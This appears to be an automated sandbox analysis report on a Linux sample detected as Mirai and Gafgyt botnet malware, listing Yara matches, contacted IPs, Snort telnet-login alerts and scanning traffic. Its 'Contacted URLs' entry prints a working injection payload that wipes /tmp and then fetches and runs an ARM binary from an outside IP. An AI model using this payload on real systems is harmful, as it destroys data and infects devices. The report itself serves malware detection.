mpris-proxybundle-pristine2.7-1116263767190A--gzRestores installed gems to their pristine conditionfsck.ext3-8815816604980B--gzcheck a Linux ext2/ext3/ext4 file systemvolname-1115625752510A--gzreturn volume nameiso-8859-9-7715812813670B--gzISO 8859-9 character set encoded in octal, decimal, and hexadecimalheadhead1HEAD1psd-4415812813670A--gzdriver for SCSI disk driveschrt-1115953177680A--gzmanipulate the real-time attributes of a processvcs-4415812813670A--gzvirtual console memorygit-upload-archive-1116148628880A--gzSend archive back to git-archivenet::dbus::binding::message::errorNet::DBus::Binding::Message::Error3pm315773746310A--gza message encoding a method call errorpkcs11.conf-5516097870510A--gzConfiguration files for PKCS#11 modulessfill-1115227593860A--gzsecure free disk and inode space wiper (secure_deletion toolkit)ldattach-8815953177680A--gzattach a line discipline to a serial linethin_restore-8815811608350A--gzrestore thin provisioning metadata file to device or file.phar.phar7.4-1116254980150B--gzPHAR (PHP archive) command line toolbundle-outdated2.7-1116263767190A--gzList installed gems with newer versions availablemail::addressMail::Address3pm315640244160A--gzparse mail addressesopenssl-ca-1ssl116164130370B--gzsample minimal CA applicationchardet3-1115765858900A--gzuniversal character encoding detectorerb2.7-1116263767190A--gzRuby Templatingchktrust-1115826667350A--gzCheck the trust of a PE executable.sg_raw-8815825816070A--gzsend arbitrary SCSI command to a devicegvfs-trash-1115868766090A--gzintro1-1115812813670A--gzintroduction to user commandsmailcap-5515714399500A--gzmetamail capabilities filegigoloGigolo1gig
Source: 5419.34.dr	Binary or memory string: vmware-xferlogs

Stealing of Sensitive Information:

Yara detected Mirai

Source: Yara match	File source: 5228.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5223.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5225.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5226.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5227.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Gafgyt

Source: Yara match	File source: 5228.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5223.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5225.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5226.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5227.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY

Remote Access Functionality:

Yara detected Mirai

Source: Yara match	File source: 5228.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5223.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5225.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5226.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5227.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Gafgyt

Source: Yara match	File source: 5228.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5223.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5225.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5226.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5227.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY

Screenshots

Network Map

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Contacted Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
209.143.100.57	unknown	United States	17054	AS17054US	false
110.111.162.22	unknown	China	38341	CNNIC-HCENET-APHEXIEInformationtechnologyCoLtdCN	false
70.150.15.221	unknown	United States	6389	BELLSOUTH-NET-BLKUS	false
53.152.59.75	unknown	Germany	31399	DAIMLER-ASITIGNGlobalNetworkDE	false
74.52.52.14	unknown	United States	36351	SOFTLAYERUS	false
126.127.82.18	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
141.201.89.75	unknown	Austria	1109	UNI-SALZBURGUniversityofSalzburgAT	false
108.52.208.147	unknown	United States	701	UUNETUS	false
220.74.4.214	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
44.223.156.7	unknown	United States	14618	AMAZON-AESUS	false
112.85.175.115	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
156.49.195.221	unknown	Sweden	29975	VODACOM-ZA	false
48.21.211.95	unknown	United States	2686	ATGS-MMD-ASUS	false
192.47.110.8	unknown	Japan	17955	AVISNETDensanCoLtdJP	false
20.219.183.2	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
71.19.55.97	unknown	Canada	14366	MNTNCA	false
156.228.63.60	unknown	Seychelles	328608	Africa-on-Cloud-ASZA	false
156.72.230.180	unknown	United States	29975	VODACOM-ZA	false
53.153.108.52	unknown	Germany	31399	DAIMLER-ASITIGNGlobalNetworkDE	false
104.30.121.98	unknown	United States	13335	CLOUDFLARENETUS	false
50.138.60.221	unknown	United States	7922	COMCAST-7922US	false
38.153.88.159	unknown	United States	174	COGENT-174US	false
80.132.5.126	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
46.56.82.247	unknown	Belarus	25106	MTSBY-ASBY	false
204.156.187.82	unknown	United States	40948	STRATUS-NETWORKSUS	false
47.44.9.235	unknown	United States	20115	CHARTER-20115US	false
62.167.11.173	unknown	Switzerland	6730	SUNRISECH	false
67.164.149.29	unknown	United States	7922	COMCAST-7922US	false
166.87.120.234	unknown	Saudi Arabia	5080	ARAMCO-ASUS	false
58.110.34.63	unknown	Australia	4804	MPX-ASMicroplexPTYLTDAU	false
184.89.111.3	unknown	United States	33363	BHN-33363US	false
32.173.232.222	unknown	United States	2686	ATGS-MMD-ASUS	false
45.130.62.153	unknown	Israel	60781	LEASEWEB-NL-AMS-01NetherlandsNL	false
36.28.252.139	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
14.112.161.254	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
2.203.114.164	unknown	Germany	3209	VODANETInternationalIP-BackboneofVodafoneDE	false
79.93.200.239	unknown	France	15557	LDCOMNETFR	false
129.17.231.111	unknown	United States	2841	CHALMERSSE	false
220.250.160.228	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
60.11.198.147	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
190.45.54.178	unknown	Chile	22047	VTRBANDAANCHASACL	false
79.118.248.134	unknown	Romania	8708	RCS-RDS73-75DrStaicoviciRO	false
168.96.193.109	unknown	Argentina	3597	FundacionInnovaTAR	false
95.252.144.225	unknown	Italy	3269	ASN-IBSNAZIT	false
142.154.33.75	unknown	Saudi Arabia	25019	SAUDINETSTC-ASSA	false
176.131.97.133	unknown	France	5410	BOUYGTEL-ISPFR	false
210.75.10.103	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
194.16.168.83	unknown	Sweden	3301	TELIANET-SWEDENTeliaCompanySE	false
167.236.98.20	unknown	United States	19400	SPX-FLOW-ASUS	false
32.213.106.159	unknown	United States	46690	SNET-FCCUS	false
120.70.150.33	unknown	China	137694	CHINATELECOM-XINJIANG-KEZHOU-MANCHINATELECOMXinjiangKezho	false
174.155.124.236	unknown	United States	10507	SPCSUS	false
190.133.162.93	unknown	Uruguay	6057	AdministracionNacionaldeTelecomunicacionesUY	false
197.243.99.60	unknown	Rwanda	37228	Olleh-Rwanda-NetworksRW	false
163.87.229.224	unknown	France	17816	CHINA169-GZChinaUnicomIPnetworkChina169Guangdongprovi	false
204.12.98.68	unknown	United States	20021	LNH-INCUS	false
121.30.154.145	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
151.249.236.209	unknown	Czech Republic	42036	GARANT-GOMELBY	false
178.91.183.200	unknown	Kazakhstan	9198	KAZTELECOM-ASKZ	false
186.186.117.84	unknown	Venezuela	6306	TELEFONICAVENEZOLANACAVE	false
158.242.12.252	unknown	United States	721	DNIC-ASBLK-00721-00726US	false
40.185.109.192	unknown	United States	4249	LILLY-ASUS	false
104.1.204.68	unknown	United States	7018	ATT-INTERNET4US	false
5.114.132.141	unknown	Iran (ISLAMIC Republic Of)	44244	IRANCELL-ASIR	false
44.196.148.250	unknown	United States	14618	AMAZON-AESUS	false
53.220.219.81	unknown	Germany	31399	DAIMLER-ASITIGNGlobalNetworkDE	false
171.43.14.219	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
53.11.56.88	unknown	Germany	31399	DAIMLER-ASITIGNGlobalNetworkDE	false
184.2.91.221	unknown	United States	209	CENTURYLINK-US-LEGACY-QWESTUS	false
149.27.123.191	unknown	Kazakhstan	29355	KCELL-ASKZ	false
44.118.115.167	unknown	United States	7377	UCSDUS	false
93.1.130.80	unknown	France	15557	LDCOMNETFR	false
176.57.79.198	unknown	Russian Federation	199634	GTS-MRU	false
59.101.199.215	unknown	Australia	2764	AAPTAAPTLimitedAU	false
159.91.118.199	unknown	United States	21976	NJEDGE-NETUS	false
70.140.150.58	unknown	United States	7018	ATT-INTERNET4US	false
119.106.78.235	unknown	Japan	2516	KDDIKDDICORPORATIONJP	false
169.248.203.163	unknown	United States	47024	THE-METROHEALTH-SYSTEMUS	false
20.112.77.81	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
75.34.155.11	unknown	United States	7018	ATT-INTERNET4US	false
162.30.206.102	unknown	United States	46483	RGHSUS	false
143.241.129.61	unknown	United States	174	COGENT-174US	false
209.212.174.247	unknown	United States	701	UUNETUS	false
170.187.70.79	unknown	United States	7018	ATT-INTERNET4US	false
181.71.150.144	unknown	Colombia	27831	ColombiaMovilCO	false
187.87.170.252	unknown	Brazil	53076	INTERPIRAINTERNETSERVICEPROVIDERLTDABR	false
207.114.244.32	unknown	United States	15292	LIFESIZEUS	false
177.180.254.130	unknown	Brazil	28573	CLAROSABR	false
105.189.12.229	unknown	Morocco	36925	ASMediMA	false
8.107.28.253	unknown	United States	3356	LEVEL3US	false
60.248.126.73	unknown	Taiwan; Republic of China (ROC)	3462	HINETDataCommunicationBusinessGroupTW	false
41.108.245.6	unknown	Algeria	36947	ALGTEL-ASDZ	false
82.49.65.53	unknown	Italy	3269	ASN-IBSNAZIT	false
19.11.67.72	unknown	United States	3	MIT-GATEWAYSUS	false
118.240.23.117	unknown	Japan	2527	SO-NETSo-netEntertainmentCorporationJP	false
157.197.246.126	unknown	Korea Republic of	6619	SAMSUNGSDS-AS-KRSamsungSDSIncKR	false
166.93.1.104	unknown	Reserved	18779	EGIHOSTINGUS	false
131.102.76.251	unknown	Switzerland	33845	SWISSGOVCH	false
40.58.230.164	unknown	United States	4249	LILLY-ASUS	false
223.15.201.231	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws	false	Avira URL Cloud: safe	unknown

AV Detection:

Multi AV Scanner detection for submitted file

Source: 1xtO9V8ku8	Virustotal: Detection: 21%			Perma Link
Source: 1xtO9V8ku8	ReversingLabs: Detection: 34%

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Source: Traffic	Snort IDS: 716 INFO TELNET access 187.8.108.105:23 -> 192.168.2.23:41618
Source: Traffic	Snort IDS: 492 INFO TELNET login failed 187.8.108.105:23 -> 192.168.2.23:41618
Source: Traffic	Snort IDS: 716 INFO TELNET access 187.8.108.105:23 -> 192.168.2.23:41634
Source: Traffic	Snort IDS: 492 INFO TELNET login failed 187.8.108.105:23 -> 192.168.2.23:41634
Source: Traffic	Snort IDS: 716 INFO TELNET access 187.8.108.105:23 -> 192.168.2.23:41636
Source: Traffic	Snort IDS: 492 INFO TELNET login failed 187.8.108.105:23 -> 192.168.2.23:41636
Source: Traffic	Snort IDS: 716 INFO TELNET access 187.8.108.105:23 -> 192.168.2.23:41646
Source: Traffic	Snort IDS: 492 INFO TELNET login failed 187.8.108.105:23 -> 192.168.2.23:41646
Source: Traffic	Snort IDS: 716 INFO TELNET access 187.8.108.105:23 -> 192.168.2.23:41652
Source: Traffic	Snort IDS: 492 INFO TELNET login failed 187.8.108.105:23 -> 192.168.2.23:41652
Source: Traffic	Snort IDS: 716 INFO TELNET access 187.8.108.105:23 -> 192.168.2.23:41666
Source: Traffic	Snort IDS: 492 INFO TELNET login failed 187.8.108.105:23 -> 192.168.2.23:41666
Source: Traffic	Snort IDS: 716 INFO TELNET access 187.8.108.105:23 -> 192.168.2.23:41672
Source: Traffic	Snort IDS: 492 INFO TELNET login failed 187.8.108.105:23 -> 192.168.2.23:41672
Source: Traffic	Snort IDS: 716 INFO TELNET access 187.8.108.105:23 -> 192.168.2.23:41688
Source: Traffic	Snort IDS: 492 INFO TELNET login failed 187.8.108.105:23 -> 192.168.2.23:41688
Source: Traffic	Snort IDS: 716 INFO TELNET access 187.8.108.105:23 -> 192.168.2.23:41692
Source: Traffic	Snort IDS: 492 INFO TELNET login failed 187.8.108.105:23 -> 192.168.2.23:41692
Source: Traffic	Snort IDS: 716 INFO TELNET access 187.8.108.105:23 -> 192.168.2.23:41698
Source: Traffic	Snort IDS: 492 INFO TELNET login failed 187.8.108.105:23 -> 192.168.2.23:41698
Source: Traffic	Snort IDS: 404 ICMP Destination Unreachable Protocol Unreachable 66.76.97.117: -> 192.168.2.23:

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 104.244.72.234 ports 64938,3,4,6,8,9

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 37448 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 44114 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 44114 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 44114 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37448 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 40318 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 40318 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37448 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59880 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58706 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56064 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 60001 -> 58706
Source: unknown	Network traffic detected: HTTP traffic on port 56064 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56064 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 40318 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 45126 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 39846 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37448 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 45126 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58638 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58638 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58638 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 40318 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 45126 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58638 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59590 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 41194 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59590 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 33692 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58638 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 60728 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 41194 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59382 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 45126 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59590 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 60728 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59382 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55434 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 41194 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 50984 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58560 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 60001 -> 58560
Source: unknown	Network traffic detected: HTTP traffic on port 55434 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37448 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 50126 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 50984 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59382 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55334 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55334 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55334 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55334 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 50126 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 40318 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55334 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59590 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58638 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55334 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 50126 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 41194 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 57546 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59382 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56310 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56310 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55334 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56310 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 45126 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56310 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 42466 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 50126 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 42466 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56310 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 46714 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59590 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55334 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56310 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 41194 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58638 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59382 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 50126 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37448 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 41008 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 40318 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56310 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52250 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 41008 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55334 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 45652 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 45126 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59766 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59766 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59766 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59590 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 41194 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59382 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59766 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56310 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52606 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 50126 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 39416 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 49456 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 49456 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59766 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 49456 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 49456 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 43962 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37642 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37642 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 49456 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 43962 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37642 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56466 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37642 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 60580 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 60580 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56466 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 60580 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59844 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 43962 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59844 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 60580 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 49456 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59844 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37642 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59844 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56466 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 60580 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59844 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 43962 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 60580 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37642 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56466 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 45660 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 49456 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59844 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55670 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37110 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55670 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55670 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37110 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55670 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37110 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 60580 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55670 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37110 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55670 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37110 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52980 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59766 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52980 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52980 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 43962 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59844 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52068 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52980 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55670 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37642 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56466 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52068 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52980 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 36150 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37110 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 36150 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 36150 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 36150 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52068 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 47086 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 60001 -> 47086
Source: unknown	Network traffic detected: HTTP traffic on port 52980 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 36150 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55670 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 60580 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52068 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 46314 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 41138 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37110 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 36150 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58916 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58916 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 41138 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58916 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52980 -> 60001

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443

Detected TCP or UDP traffic on non-standard ports

Source: global traffic	TCP traffic: 192.168.2.23:4898 -> 186.118.144.241:2323
Source: global traffic	TCP traffic: 192.168.2.23:4898 -> 218.75.52.213:2323
Source: global traffic	TCP traffic: 192.168.2.23:4898 -> 39.21.179.73:2323
Source: global traffic	TCP traffic: 192.168.2.23:4898 -> 44.193.126.40:2323
Source: global traffic	TCP traffic: 192.168.2.23:4898 -> 112.101.103.97:2323
Source: global traffic	TCP traffic: 192.168.2.23:4898 -> 69.124.77.13:2323
Source: global traffic	TCP traffic: 192.168.2.23:4898 -> 116.153.19.31:2323
Source: global traffic	TCP traffic: 192.168.2.23:4898 -> 51.186.223.15:2323
Source: global traffic	TCP traffic: 192.168.2.23:4898 -> 116.64.27.188:2323
Source: global traffic	TCP traffic: 192.168.2.23:4898 -> 110.102.99.206:2323
Source: global traffic	TCP traffic: 192.168.2.23:4898 -> 42.203.175.81:2323
Source: global traffic	TCP traffic: 192.168.2.23:4898 -> 101.139.120.77:2323
Source: global traffic	TCP traffic: 192.168.2.23:4898 -> 109.114.128.165:2323
Source: global traffic	TCP traffic: 192.168.2.23:4898 -> 89.25.6.219:2323
Source: global traffic	TCP traffic: 192.168.2.23:4898 -> 18.71.167.138:2323
Source: global traffic	TCP traffic: 192.168.2.23:4898 -> 13.255.216.141:2323
Source: global traffic	TCP traffic: 192.168.2.23:48182 -> 104.244.72.234:64938
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 162.110.144.241:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 132.185.105.3:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 159.128.177.243:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 32.249.225.241:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 176.194.144.10:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 27.152.49.41:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 197.168.236.244:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 49.137.82.179:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 45.86.170.89:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 37.13.79.220:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 203.205.60.238:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 164.189.143.182:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 167.109.110.144:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 68.81.121.113:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 198.146.130.219:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 19.143.208.84:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 38.69.87.224:60001
